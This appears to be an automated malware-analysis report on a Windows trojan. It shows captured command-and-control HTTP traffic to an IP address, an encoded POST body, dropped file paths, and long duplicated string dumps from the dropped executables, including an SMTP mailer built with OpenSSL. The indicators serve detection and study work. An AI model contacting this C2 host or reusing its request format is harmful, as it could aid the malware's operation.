HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 04 May 2016 23:19:08 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14

...........J...PHo:....E. ..CGZ..I....u..B.h.rrA...f.C(.|0.f..=Mg.Gw;....g-...P@.j#..[.(..u>. .0.L1u.S......mGbR/.1..8v.EIy XvYUK.n6,R...X. ..../A@9....".).;.I...3HE...X.&..?....4..%......"....r...D..R~..hO.tB..H...`.#.{.(..V.N`...U.Z...Kr..c....(...y.z...wi..T.O 9..}...xY.._....&d.v..1....p.~m...h\..?...?e......H....$1&..K6..

POST /index.php HTTP/1.0

Accept: */*

Connection: close

Host: 185.106.120.168

Content-Type: application/x-www-form-urlencoded

Content-Length: 179

cg2wpoezy0=ZlJ9XUYXMRl7uV+X9UfOJ8QAp01P1IZ9V/FI+pObnLJQX2pRUEtd3iD6orkPu34PMVQD2sLdYK82g68fkLegix+vMZSYwfipvR7rUNEwA0+jQoY7bkO2M5A8FbEZ4Ibl93bm0Tq/3wBzSEYeT8xWoQ==

HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 04 May 2016 23:19:44 GMT

Content-Type: text/html

Connection: close

X-Powered-By: PHP/5.5.9-1ubuntu4.14

.......j...,...cs..2P.......\WhL.\..o.....kNm.W...f.n.......$.B........X.n\..I.?/..g.~..^....*..h...b.)MO.I.p....p...k.. n...)...~.....O}...#.#.........p.. D...&....).S.<.]....<...8....8QVk-.f....".Vn..Q..4..............?...?P..lBk.."...D.[.....h.T....|.......u*..b0....8....*(6~VD...e...N .'.z..L..c...?..^K......?...c.V..<d..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

olgkpun.exe_140:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

%0X f

%0X f

ySSSSh

ySSSSh

!-4}O

!-4}O

!j.hgR

!j.hgR

`mf

`mf

%CqE`Wf

%CqE`Wf

xSSSh

xSSSh

FTPjKS

FTPjKS

FtPj;S

FtPj;S

C.PjRV

C.PjRV

GetProcessWindowStation

GetProcessWindowStation

portuguese-brazilian

portuguese-brazilian

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

GDI32.dll

GDI32.dll

USER32.dll

USER32.dll

GetCPInfo

GetCPInfo

PeekNamedPipe

PeekNamedPipe

zcÁ

zcÁ

|%System%\ozxdksucbgn.exe

|%System%\ozxdksucbgn.exe

|185.106.120.168

|185.106.120.168

WATCHDOGPROC "c:\windows\system32\olgkpun.exe"

WATCHDOGPROC "c:\windows\system32\olgkpun.exe"

%System%\olgkpun.exe

%System%\olgkpun.exe

=#=)=6=|=

=#=)=6=|=

4M4X4^4m4y4

4M4X4^4m4y4

?"?)?0?7?

?"?)?0?7?

6#6-6C6U6Z6c6s6}6

6#6-6C6U6Z6c6s6}6

3"3(3.343`3

3"3(3.343`3

11C1U1r1x1

11C1U1r1x1

9!9 929

9!9 929

:!:-:3:9:

:!:-:3:9:

8#8)848:8?8

8#8)848:8?8

9”9F9L9R9W9]9c9i9p9w9|9

9”9F9L9R9W9]9c9i9p9w9|9

0$000@0}0

0$000@0}0

9$9-9D9r9}9

9$9-9D9r9}9

7&737?7_7}7

7&737?7_7}7

4I4F4R4]4f4l4~4

4I4F4R4]4f4l4~4

7)7/7?7}7

7)7/7?7}7

2,2R2[2a2j2q2y2

2,2R2[2a2j2q2y2

9—9S9Y9_9d9j9y9

9—9S9Y9_9d9j9y9

8„8D8y8

8„8D8y8

mscoree.dll

mscoree.dll

ADVAPI32.DLL

ADVAPI32.DLL

KERNEL32.DLL

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

WUSER32.DLL

WUSER32.DLL

ozxdksucbgn.exe_1992:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

%0X f

%0X f

ySSSSh

ySSSSh

!-4}O

!-4}O

!j.hgR

!j.hgR

`mf

`mf

%CqE`Wf

%CqE`Wf

xSSSh

xSSSh

FTPjKS

FTPjKS

FtPj;S

FtPj;S

C.PjRV

C.PjRV

GetProcessWindowStation

GetProcessWindowStation

portuguese-brazilian

portuguese-brazilian

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

GDI32.dll

GDI32.dll

USER32.dll

USER32.dll

GetCPInfo

GetCPInfo

PeekNamedPipe

PeekNamedPipe

zcÁ

zcÁ

%System%\ozxdksucbgn.exe

%System%\ozxdksucbgn.exe

=#=)=6=|=

=#=)=6=|=

4M4X4^4m4y4

4M4X4^4m4y4

?"?)?0?7?

?"?)?0?7?

6#6-6C6U6Z6c6s6}6

6#6-6C6U6Z6c6s6}6

3"3(3.343`3

3"3(3.343`3

11C1U1r1x1

11C1U1r1x1

9!9 929

9!9 929

:!:-:3:9:

:!:-:3:9:

8#8)848:8?8

8#8)848:8?8

9”9F9L9R9W9]9c9i9p9w9|9

9”9F9L9R9W9]9c9i9p9w9|9

0$000@0}0

0$000@0}0

9$9-9D9r9}9

9$9-9D9r9}9

7&737?7_7}7

7&737?7_7}7

4I4F4R4]4f4l4~4

4I4F4R4]4f4l4~4

7)7/7?7}7

7)7/7?7}7

2,2R2[2a2j2q2y2

2,2R2[2a2j2q2y2

9—9S9Y9_9d9j9y9

9—9S9Y9_9d9j9y9

8„8D8y8

8„8D8y8

mscoree.dll

mscoree.dll

ADVAPI32.DLL

ADVAPI32.DLL

KERNEL32.DLL

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

WUSER32.DLL

WUSER32.DLL

aaiz6hf3uw3sklqv.exe_1552:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

%0X f

%0X f

ySSSSh

ySSSSh

!-4}O

!-4}O

!j.hgR

!j.hgR

`mf

`mf

%CqE`Wf

%CqE`Wf

xSSSh

xSSSh

FTPjKS

FTPjKS

FtPj;S

FtPj;S

C.PjRV

C.PjRV

GetProcessWindowStation

GetProcessWindowStation

portuguese-brazilian

portuguese-brazilian

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

GDI32.dll

GDI32.dll

USER32.dll

USER32.dll

GetCPInfo

GetCPInfo

PeekNamedPipe

PeekNamedPipe

zcÁ

zcÁ

%WinDir%\TEMP\aaiz6hf3uw3sklqv.exe

%WinDir%\TEMP\aaiz6hf3uw3sklqv.exe

=#=)=6=|=

=#=)=6=|=

4M4X4^4m4y4

4M4X4^4m4y4

?"?)?0?7?

?"?)?0?7?

6#6-6C6U6Z6c6s6}6

6#6-6C6U6Z6c6s6}6

3"3(3.343`3

3"3(3.343`3

11C1U1r1x1

11C1U1r1x1

9!9 929

9!9 929

:!:-:3:9:

:!:-:3:9:

8#8)848:8?8

8#8)848:8?8

9”9F9L9R9W9]9c9i9p9w9|9

9”9F9L9R9W9]9c9i9p9w9|9

0$000@0}0

0$000@0}0

9$9-9D9r9}9

9$9-9D9r9}9

7&737?7_7}7

7&737?7_7}7

4I4F4R4]4f4l4~4

4I4F4R4]4f4l4~4

7)7/7?7}7

7)7/7?7}7

2,2R2[2a2j2q2y2

2,2R2[2a2j2q2y2

9—9S9Y9_9d9j9y9

9—9S9Y9_9d9j9y9

8„8D8y8

8„8D8y8

mscoree.dll

mscoree.dll

ADVAPI32.DLL

ADVAPI32.DLL

KERNEL32.DLL

KERNEL32.DLL

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

- floating point support not loaded

- floating point support not loaded

WUSER32.DLL

WUSER32.DLL

smtp_mailer.exe_560:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

|$@3|$

|$@3|$

3|$

3|$

u.jch

u.jch

j.Yf;

j.Yf;

_tcPVj@

_tcPVj@

.PjRW

.PjRW

function not supported

function not supported

operation canceled

operation canceled

address_family_not_supported

address_family_not_supported

operation_in_progress

operation_in_progress

operation_not_supported

operation_not_supported

protocol_not_supported

protocol_not_supported

operation_would_block

operation_would_block

address family not supported

address family not supported

broken pipe

broken pipe

inappropriate io control operation

inappropriate io control operation

not supported

not supported

operation in progress

operation in progress

operation not permitted

operation not permitted

operation not supported

operation not supported

operation would block

operation would block

protocol not supported

protocol not supported

operator

operator

GetProcessWindowStation

GetProcessWindowStation

OpenSSL 0.9.8l 5 Nov 2009

OpenSSL 0.9.8l 5 Nov 2009

%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s

%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s

EXPORT56

EXPORT56

EXPORT40

EXPORT40

EXPORT

EXPORT

.\ssl\ssl_cert.c

.\ssl\ssl_cert.c

SSLv3 part of OpenSSL 0.9.8l 5 Nov 2009

SSLv3 part of OpenSSL 0.9.8l 5 Nov 2009

TLSv1 part of OpenSSL 0.9.8l 5 Nov 2009

TLSv1 part of OpenSSL 0.9.8l 5 Nov 2009

SSLv2 part of OpenSSL 0.9.8l 5 Nov 2009

SSLv2 part of OpenSSL 0.9.8l 5 Nov 2009

s->session->master_key_length >= 0 && s->session->master_key_length session->master_key)

s->session->master_key_length >= 0 && s->session->master_key_length session->master_key)

wrong number of key bits

wrong number of key bits

unsupported status type

unsupported status type

unsupported ssl version

unsupported ssl version

unsupported protocol

unsupported protocol

unsupported elliptic curve

unsupported elliptic curve

unsupported compression algorithm

unsupported compression algorithm

unsupported cipher

unsupported cipher

unknown pkey type

unknown pkey type

unknown key exchange type

unknown key exchange type

unknown certificate type

unknown certificate type

unable to find public key parameters

unable to find public key parameters

unable to extract public key

unable to extract public key

unable to decode ecdh certs

unable to decode ecdh certs

unable to decode dh certs

unable to decode dh certs

tried to use unsupported cipher

tried to use unsupported cipher

tls peer did not respond with certificate list

tls peer did not respond with certificate list

tls client cert req with anon cipher

tls client cert req with anon cipher

tlsv1 alert export restriction

tlsv1 alert export restriction

sslv3 alert unsupported certificate

sslv3 alert unsupported certificate

sslv3 alert no certificate

sslv3 alert no certificate

sslv3 alert certificate unknown

sslv3 alert certificate unknown

sslv3 alert certificate revoked

sslv3 alert certificate revoked

sslv3 alert certificate expired

sslv3 alert certificate expired

sslv3 alert bad certificate

sslv3 alert bad certificate

signature for non signing certificate

signature for non signing certificate

reuse cert type not zero

reuse cert type not zero

reuse cert length not zero

reuse cert length not zero

public key not rsa

public key not rsa

public key is not rsa

public key is not rsa

public key encrypt error

public key encrypt error

peer error unsupported certificate type

peer error unsupported certificate type

peer error no certificate

peer error no certificate

peer error certificate

peer error certificate

peer did not return a certificate

peer did not return a certificate

null ssl method passed

null ssl method passed

no publickey

no publickey

no private key assigned

no private key assigned

no privatekey

no privatekey

no client cert received

no client cert received

no client cert method

no client cert method

no ciphers passed

no ciphers passed

no certificate specified

no certificate specified

no certificate set

no certificate set

no certificate returned

no certificate returned

no certificate assigned

no certificate assigned

no certificates returned

no certificates returned

missing tmp rsa pkey

missing tmp rsa pkey

missing tmp rsa key

missing tmp rsa key

missing tmp ecdh key

missing tmp ecdh key

missing tmp dh key

missing tmp dh key

missing rsa signing cert

missing rsa signing cert

missing rsa encrypting cert

missing rsa encrypting cert

missing rsa certificate

missing rsa certificate

missing export tmp rsa key

missing export tmp rsa key

missing export tmp dh key

missing export tmp dh key

missing dsa signing cert

missing dsa signing cert

missing dh rsa cert

missing dh rsa cert

missing dh key

missing dh key

missing dh dsa cert

missing dh dsa cert

krb5 server rd_req (keytab perms?)

krb5 server rd_req (keytab perms?)

key arg too long

key arg too long

invalid ticket keys length

invalid ticket keys length

http request

http request

https proxy request

https proxy request

error generating tmp rsa key

error generating tmp rsa key

cert length mismatch

cert length mismatch

certificate verify failed

certificate verify failed

bad ecc cert

bad ecc cert

bad dh pub key length

bad dh pub key length

TLS1_SETUP_KEY_BLOCK

TLS1_SETUP_KEY_BLOCK

SSL_VERIFY_CERT_CHAIN

SSL_VERIFY_CERT_CHAIN

SSL_use_RSAPrivateKey_file

SSL_use_RSAPrivateKey_file

SSL_use_RSAPrivateKey_ASN1

SSL_use_RSAPrivateKey_ASN1

SSL_use_RSAPrivateKey

SSL_use_RSAPrivateKey

SSL_use_PrivateKey_file

SSL_use_PrivateKey_file

SSL_use_PrivateKey_ASN1

SSL_use_PrivateKey_ASN1

SSL_use_PrivateKey

SSL_use_PrivateKey

SSL_use_certificate_file

SSL_use_certificate_file

SSL_use_certificate_ASN1

SSL_use_certificate_ASN1

SSL_use_certificate

SSL_use_certificate

SSL_SET_PKEY

SSL_SET_PKEY

SSL_SET_CERT

SSL_SET_CERT

SSL_SESS_CERT_NEW

SSL_SESS_CERT_NEW

SSL_GET_SIGN_PKEY

SSL_GET_SIGN_PKEY

SSL_GET_SERVER_SEND_CERT

SSL_GET_SERVER_SEND_CERT

SSL_CTX_use_RSAPrivateKey_file

SSL_CTX_use_RSAPrivateKey_file

SSL_CTX_use_RSAPrivateKey_ASN1

SSL_CTX_use_RSAPrivateKey_ASN1

SSL_CTX_use_RSAPrivateKey

SSL_CTX_use_RSAPrivateKey

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_file

SSL_CTX_use_PrivateKey_ASN1

SSL_CTX_use_PrivateKey_ASN1

SSL_CTX_use_PrivateKey

SSL_CTX_use_PrivateKey

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_file

SSL_CTX_use_certificate_chain_file

SSL_CTX_use_certificate_chain_file

SSL_CTX_use_certificate_ASN1

SSL_CTX_use_certificate_ASN1

SSL_CTX_use_certificate

SSL_CTX_use_certificate

SSL_CTX_set_client_cert_engine

SSL_CTX_set_client_cert_engine

SSL_CTX_check_private_key

SSL_CTX_check_private_key

SSL_check_private_key

SSL_check_private_key

SSL_CERT_NEW

SSL_CERT_NEW

SSL_CERT_INSTANTIATE

SSL_CERT_INSTANTIATE

SSL_CERT_INST

SSL_CERT_INST

SSL_CERT_DUP

SSL_CERT_DUP

SSL_add_file_cert_subjects_to_stack

SSL_add_file_cert_subjects_to_stack

SSL_add_dir_cert_subjects_to_stack

SSL_add_dir_cert_subjects_to_stack

SSL3_SETUP_KEY_BLOCK

SSL3_SETUP_KEY_BLOCK

SSL3_SEND_SERVER_KEY_EXCHANGE

SSL3_SEND_SERVER_KEY_EXCHANGE

SSL3_SEND_SERVER_CERTIFICATE

SSL3_SEND_SERVER_CERTIFICATE

SSL3_SEND_CLIENT_KEY_EXCHANGE

SSL3_SEND_CLIENT_KEY_EXCHANGE

SSL3_SEND_CLIENT_CERTIFICATE

SSL3_SEND_CLIENT_CERTIFICATE

SSL3_SEND_CERTIFICATE_REQUEST

SSL3_SEND_CERTIFICATE_REQUEST

SSL3_OUTPUT_CERT_CHAIN

SSL3_OUTPUT_CERT_CHAIN

SSL3_GET_SERVER_CERTIFICATE

SSL3_GET_SERVER_CERTIFICATE

SSL3_GET_KEY_EXCHANGE

SSL3_GET_KEY_EXCHANGE

SSL3_GET_CLIENT_KEY_EXCHANGE

SSL3_GET_CLIENT_KEY_EXCHANGE

SSL3_GET_CLIENT_CERTIFICATE

SSL3_GET_CLIENT_CERTIFICATE

SSL3_GET_CERT_VERIFY

SSL3_GET_CERT_VERIFY

SSL3_GET_CERT_STATUS

SSL3_GET_CERT_STATUS

SSL3_GET_CERTIFICATE_REQUEST

SSL3_GET_CERTIFICATE_REQUEST

SSL3_GENERATE_KEY_BLOCK

SSL3_GENERATE_KEY_BLOCK

SSL3_CHECK_CERT_AND_ALGORITHM

SSL3_CHECK_CERT_AND_ALGORITHM

SSL2_SET_CERTIFICATE

SSL2_SET_CERTIFICATE

SSL2_GENERATE_KEY_MATERIAL

SSL2_GENERATE_KEY_MATERIAL

REQUEST_CERTIFICATE

REQUEST_CERTIFICATE

GET_CLIENT_MASTER_KEY

GET_CLIENT_MASTER_KEY

DTLS1_SEND_SERVER_KEY_EXCHANGE

DTLS1_SEND_SERVER_KEY_EXCHANGE

DTLS1_SEND_SERVER_CERTIFICATE

DTLS1_SEND_SERVER_CERTIFICATE

DTLS1_SEND_CLIENT_KEY_EXCHANGE

DTLS1_SEND_CLIENT_KEY_EXCHANGE

DTLS1_SEND_CLIENT_CERTIFICATE

DTLS1_SEND_CLIENT_CERTIFICATE

DTLS1_SEND_CERTIFICATE_REQUEST

DTLS1_SEND_CERTIFICATE_REQUEST

DTLS1_OUTPUT_CERT_CHAIN

DTLS1_OUTPUT_CERT_CHAIN

CLIENT_MASTER_KEY

CLIENT_MASTER_KEY

CLIENT_CERTIFICATE

CLIENT_CERTIFICATE

key expansion

key expansion

client write key

client write key

server write key

server write key

c->iv_len session->key_arg)

c->iv_len session->key_arg)

s->s2->key_material_length s2->key_material

s->s2->key_material_length s2->key_material

Stack part of OpenSSL 0.9.8l 5 Nov 2009

Stack part of OpenSSL 0.9.8l 5 Nov 2009

%s(%d): OpenSSL internal error, assertion failed: %s

%s(%d): OpenSSL internal error, assertion failed: %s

lhash part of OpenSSL 0.9.8l 5 Nov 2009

lhash part of OpenSSL 0.9.8l 5 Nov 2009

cert_info

cert_info

Microsoft Local Key set

Microsoft Local Key set

LocalKeySet

LocalKeySet

id-Gost28147-89-None-KeyMeshing

id-Gost28147-89-None-KeyMeshing

id-Gost28147-89-CryptoPro-KeyMeshing

id-Gost28147-89-CryptoPro-KeyMeshing

password based MAC

password based MAC

id-PasswordBasedMAC

id-PasswordBasedMAC

X509v3 Certificate Issuer

X509v3 Certificate Issuer

certificateIssuer

certificateIssuer

certicom-arc

certicom-arc

Proxy Certificate Information

Proxy Certificate Information

proxyCertInfo

proxyCertInfo

Microsoft Smartcardlogin

Microsoft Smartcardlogin

msSmartcardLogin

msSmartcardLogin

joint-iso-itu-t

joint-iso-itu-t

JOINT-ISO-ITU-T

JOINT-ISO-ITU-T

set-rootKeyThumb

set-rootKeyThumb

setAttr-Cert

setAttr-Cert

setCext-cCertRequired

setCext-cCertRequired

setCext-certType

setCext-certType

setct-CertResTBE

setct-CertResTBE

setct-CertReqTBEX

setct-CertReqTBEX

setct-CertReqTBE

setct-CertReqTBE

setct-AcqCardCodeMsgTBE

setct-AcqCardCodeMsgTBE

setct-CertInqReqTBS

setct-CertInqReqTBS

setct-CertResData

setct-CertResData

setct-CertReqTBS

setct-CertReqTBS

setct-CertReqData

setct-CertReqData

setct-PCertResTBS

setct-PCertResTBS

setct-PCertReqData

setct-PCertReqData

setct-AcqCardCodeMsg

setct-AcqCardCodeMsg

certificate extensions

certificate extensions

set-certExt

set-certExt

set-msgExt

set-msgExt

id-ecPublicKey

id-ecPublicKey

id-cmc-confirmCertAcceptance

id-cmc-confirmCertAcceptance

id-cmc-getCert

id-cmc-getCert

id-regInfo-certReq

id-regInfo-certReq

id-regCtrl-protocolEncrKey

id-regCtrl-protocolEncrKey

id-regCtrl-oldCertID

id-regCtrl-oldCertID

id-it-revPassphrase

id-it-revPassphrase

id-it-keyPairParamRep

id-it-keyPairParamRep

id-it-keyPairParamReq

id-it-keyPairParamReq

id-it-unsupportedOIDs

id-it-unsupportedOIDs

id-it-caKeyUpdateInfo

id-it-caKeyUpdateInfo

id-it-encKeyPairTypes

id-it-encKeyPairTypes

id-it-signKeyPairTypes

id-it-signKeyPairTypes

id-it-caProtEncCert

id-it-caProtEncCert

id-mod-attribute-cert

id-mod-attribute-cert

id-mod-qualified-cert-93

id-mod-qualified-cert-93

id-mod-qualified-cert-88

id-mod-qualified-cert-88

id-smime-aa-ets-certCRLTimestamp

id-smime-aa-ets-certCRLTimestamp

id-smime-aa-ets-certValues

id-smime-aa-ets-certValues

id-smime-aa-ets-CertificateRefs

id-smime-aa-ets-CertificateRefs

id-smime-aa-ets-otherSigCert

id-smime-aa-ets-otherSigCert

id-smime-aa-smimeEncryptCerts

id-smime-aa-smimeEncryptCerts

id-smime-aa-signingCertificate

id-smime-aa-signingCertificate

id-smime-aa-encrypKeyPref

id-smime-aa-encrypKeyPref

id-smime-aa-msgSigDigest

id-smime-aa-msgSigDigest

id-smime-ct-publishCert

id-smime-ct-publishCert

id-smime-mod-msg-v3

id-smime-mod-msg-v3

sdsiCertificate

sdsiCertificate

x509Certificate

x509Certificate

localKeyID

localKeyID

certBag

certBag

pkcs8ShroudedKeyBag

pkcs8ShroudedKeyBag

keyBag

keyBag

pbeWithSHA1And2-KeyTripleDES-CBC

pbeWithSHA1And2-KeyTripleDES-CBC

pbeWithSHA1And3-KeyTripleDES-CBC

pbeWithSHA1And3-KeyTripleDES-CBC

TLS Web Client Authentication

TLS Web Client Authentication

TLS Web Server Authentication

TLS Web Server Authentication

X509v3 Extended Key Usage

X509v3 Extended Key Usage

extendedKeyUsage

extendedKeyUsage

X509v3 Authority Key Identifier

X509v3 Authority Key Identifier

authorityKeyIdentifier

authorityKeyIdentifier

X509v3 Certificate Policies

X509v3 Certificate Policies

certificatePolicies

certificatePolicies

X509v3 Private Key Usage Period

X509v3 Private Key Usage Period

privateKeyUsagePeriod

privateKeyUsagePeriod

X509v3 Key Usage

X509v3 Key Usage

keyUsage

keyUsage

X509v3 Subject Key Identifier

X509v3 Subject Key Identifier

subjectKeyIdentifier

subjectKeyIdentifier

Netscape Certificate Sequence

Netscape Certificate Sequence

nsCertSequence

nsCertSequence

Netscape CA Policy Url

Netscape CA Policy Url

nsCaPolicyUrl

nsCaPolicyUrl

Netscape Renewal Url

Netscape Renewal Url

nsRenewalUrl

nsRenewalUrl

Netscape CA Revocation Url

Netscape CA Revocation Url

nsCaRevocationUrl

nsCaRevocationUrl

Netscape Revocation Url

Netscape Revocation Url

nsRevocationUrl

nsRevocationUrl

Netscape Base Url

Netscape Base Url

nsBaseUrl

nsBaseUrl

Netscape Cert Type

Netscape Cert Type

nsCertType

nsCertType

Netscape Certificate Extension

Netscape Certificate Extension

nsCertExt

nsCertExt

extendedCertificateAttributes

extendedCertificateAttributes

challengePassword

challengePassword

dhKeyAgreement

dhKeyAgreement

Diffie-Hellman part of OpenSSL 0.9.8l 5 Nov 2009

Diffie-Hellman part of OpenSSL 0.9.8l 5 Nov 2009

crlUrl

crlUrl

certStatus

certStatus

certId

certId

OCSP_CERTSTATUS

OCSP_CERTSTATUS

value.unknown

value.unknown

value.revoked

value.revoked

value.good

value.good

value.byKey

value.byKey

value.byName

value.byName

reqCert

reqCert

OCSP_CERTID

OCSP_CERTID

issuerKeyHash

issuerKeyHash

certs

certs

X.509 part of OpenSSL 0.9.8l 5 Nov 2009

X.509 part of OpenSSL 0.9.8l 5 Nov 2009

OPENSSL_ALLOW_PROXY_CERTS

OPENSSL_ALLOW_PROXY_CERTS

.\crypto\ec\ec_key.c

.\crypto\ec\ec_key.c

RSA part of OpenSSL 0.9.8l 5 Nov 2009

RSA part of OpenSSL 0.9.8l 5 Nov 2009

Big Number part of OpenSSL 0.9.8l 5 Nov 2009

Big Number part of OpenSSL 0.9.8l 5 Nov 2009

CERTIFICATE

CERTIFICATE

.\crypto\engine\eng_pkey.c

.\crypto\engine\eng_pkey.c

.\crypto\dh\dh_key.c

.\crypto\dh\dh_key.c

EVP part of OpenSSL 0.9.8l 5 Nov 2009

EVP part of OpenSSL 0.9.8l 5 Nov 2009

len>=0 && lenkey)

len>=0 && lenkey)

j key)

j key)

EC part of OpenSSL 0.9.8l 5 Nov 2009

EC part of OpenSSL 0.9.8l 5 Nov 2009

priv_key

priv_key

pub_key

pub_key

ASN.1 part of OpenSSL 0.9.8l 5 Nov 2009

ASN.1 part of OpenSSL 0.9.8l 5 Nov 2009

ENCRYPTED PRIVATE KEY

ENCRYPTED PRIVATE KEY

PRIVATE KEY

PRIVATE KEY

EC PRIVATE KEY

EC PRIVATE KEY

DSA PRIVATE KEY

DSA PRIVATE KEY

RSA PRIVATE KEY

RSA PRIVATE KEY

ANY PRIVATE KEY

ANY PRIVATE KEY

CERTIFICATE REQUEST

CERTIFICATE REQUEST

NEW CERTIFICATE REQUEST

NEW CERTIFICATE REQUEST

X509_PUBKEY

X509_PUBKEY

public_key

public_key

.\crypto\asn1\x_pubkey.c

.\crypto\asn1\x_pubkey.c

AUTHORITY_KEYID

AUTHORITY_KEYID

keyid

keyid

X509_CERT_PAIR

X509_CERT_PAIR

X509_CERT_AUX

X509_CERT_AUX

ECDSA part of OpenSSL 0.9.8l 5 Nov 2009

ECDSA part of OpenSSL 0.9.8l 5 Nov 2009

DSA part of OpenSSL 0.9.8l 5 Nov 2009

DSA part of OpenSSL 0.9.8l 5 Nov 2009

value.single

value.single

value.set

value.set

PROXY_CERT_INFO_EXTENSION

PROXY_CERT_INFO_EXTENSION

Load certs from files in a directory

Load certs from files in a directory

%s%clx.%s%d

%s%clx.%s%d

d.registeredID

d.registeredID

d.iPAddress

d.iPAddress

d.uniformResourceIdentifier

d.uniformResourceIdentifier

d.ediPartyName

d.ediPartyName

d.directoryName

d.directoryName

d.dNSName

d.dNSName

d.rfc822Name

d.rfc822Name

d.otherName

d.otherName

RAND part of OpenSSL 0.9.8l 5 Nov 2009

RAND part of OpenSSL 0.9.8l 5 Nov 2009

You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html

You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html

SHA1 part of OpenSSL 0.9.8l 5 Nov 2009

SHA1 part of OpenSSL 0.9.8l 5 Nov 2009

SHA-256 part of OpenSSL 0.9.8l 5 Nov 2009

SHA-256 part of OpenSSL 0.9.8l 5 Nov 2009

SHA-512 part of OpenSSL 0.9.8l 5 Nov 2009

SHA-512 part of OpenSSL 0.9.8l 5 Nov 2009

DlMD5 part of OpenSSL 0.9.8l 5 Nov 2009

DlMD5 part of OpenSSL 0.9.8l 5 Nov 2009

MD2 part of OpenSSL 0.9.8l 5 Nov 2009

MD2 part of OpenSSL 0.9.8l 5 Nov 2009

6RC2 part of OpenSSL 0.9.8l 5 Nov 2009

6RC2 part of OpenSSL 0.9.8l 5 Nov 2009

RC4 part of OpenSSL 0.9.8l 5 Nov 2009

RC4 part of OpenSSL 0.9.8l 5 Nov 2009

IDEA part of OpenSSL 0.9.8l 5 Nov 2009

IDEA part of OpenSSL 0.9.8l 5 Nov 2009

unsupported requestorname type

unsupported requestorname type

signer certificate not found

signer certificate not found

private key does not match certificate

private key does not match certificate

no public key

no public key

no certificates in chain

no certificates in chain

error parsing url

error parsing url

certificate verify error

certificate verify error

PARSE_HTTP_LINE1

PARSE_HTTP_LINE1

OCSP_parse_url

OCSP_parse_url

OCSP_cert_id_new

OCSP_cert_id_new

invalid cmd number

invalid cmd number

invalid cmd name

invalid cmd name

failed loading public key

failed loading public key

failed loading private key

failed loading private key

cmd not executable

cmd not executable

ENGINE_UNLOAD_KEY

ENGINE_UNLOAD_KEY

ENGINE_load_ssl_client_cert

ENGINE_load_ssl_client_cert

ENGINE_load_public_key

ENGINE_load_public_key

ENGINE_load_private_key

ENGINE_load_private_key

ENGINE_ctrl_cmd_string

ENGINE_ctrl_cmd_string

ENGINE_ctrl_cmd

ENGINE_ctrl_cmd

ENGINE_cmd_is_executable

ENGINE_cmd_is_executable

functionality not supported

functionality not supported

WIN32_JOINER

WIN32_JOINER

prng seed must not match key

prng seed must not match key

prng not rekeyed

prng not rekeyed

prng keyed

prng keyed

no key set

no key set

unsupported pkcs12 mode

unsupported pkcs12 mode

key gen error

key gen error

PKCS8_add_keyusage

PKCS8_add_keyusage

PKCS12_PBE_keyivgen

PKCS12_PBE_keyivgen

PKCS12_newpass

PKCS12_newpass

PKCS12_MAKE_SHKEYBAG

PKCS12_MAKE_SHKEYBAG

PKCS12_MAKE_KEYBAG

PKCS12_MAKE_KEYBAG

PKCS12_key_gen_uni

PKCS12_key_gen_uni

PKCS12_key_gen_asc

PKCS12_key_gen_asc

PKCS12_add_localkeyid

PKCS12_add_localkeyid

unsupported option

unsupported option

unable to get issuer keyid

unable to get issuer keyid

policy syntax not currently supported

policy syntax not currently supported

operation not defined

operation not defined

no proxy cert policy language defined

no proxy cert policy language defined

no issuer certificate

no issuer certificate

extension setting not supported

extension setting not supported

V2I_EXTENDED_KEY_USAGE

V2I_EXTENDED_KEY_USAGE

V2I_AUTHORITY_KEYID

V2I_AUTHORITY_KEYID

S2I_SKEY_ID

S2I_SKEY_ID

S2I_ASN1_SKEY_ID

S2I_ASN1_SKEY_ID

R2I_CERTPOL

R2I_CERTPOL

unsupported content type

unsupported content type

unsupported cipher type

unsupported cipher type

unknown operation

unknown operation

unable to find certificate

unable to find certificate

operation not supported on this type

operation not supported on this type

no recipient matches key

no recipient matches key

no recipient matches certificate

no recipient matches certificate

decrypted key is wrong length

decrypted key is wrong length

PKCS7_add_certificate

PKCS7_add_certificate

unsupported method

unsupported method

no port specified

no port specified

no port defined

no port defined

no accept port specified

no accept port specified

BIO_get_port

BIO_get_port

ECDH_compute_key

ECDH_compute_key

data too large for key size

data too large for key size

unsupported field

unsupported field

passed null parameter

passed null parameter

not a supported NIST prime

not a supported NIST prime

missing private key

missing private key

invalid private key

invalid private key

o2i_ECPublicKey

o2i_ECPublicKey

i2o_ECPublicKey

i2o_ECPublicKey

i2d_ECPrivateKey

i2d_ECPrivateKey

EC_KEY_print_fp

EC_KEY_print_fp

EC_KEY_print

EC_KEY_print

EC_KEY_new

EC_KEY_new

EC_KEY_generate_key

EC_KEY_generate_key

EC_KEY_copy

EC_KEY_copy

EC_KEY_check_key

EC_KEY_check_key

d2i_ECPrivateKey

d2i_ECPrivateKey

unsupported type

unsupported type

unsupported public key type

unsupported public key type

unsupported encryption algorithm

unsupported encryption algorithm

unsupported any defined by type

unsupported any defined by type

unknown public key type

unknown public key type

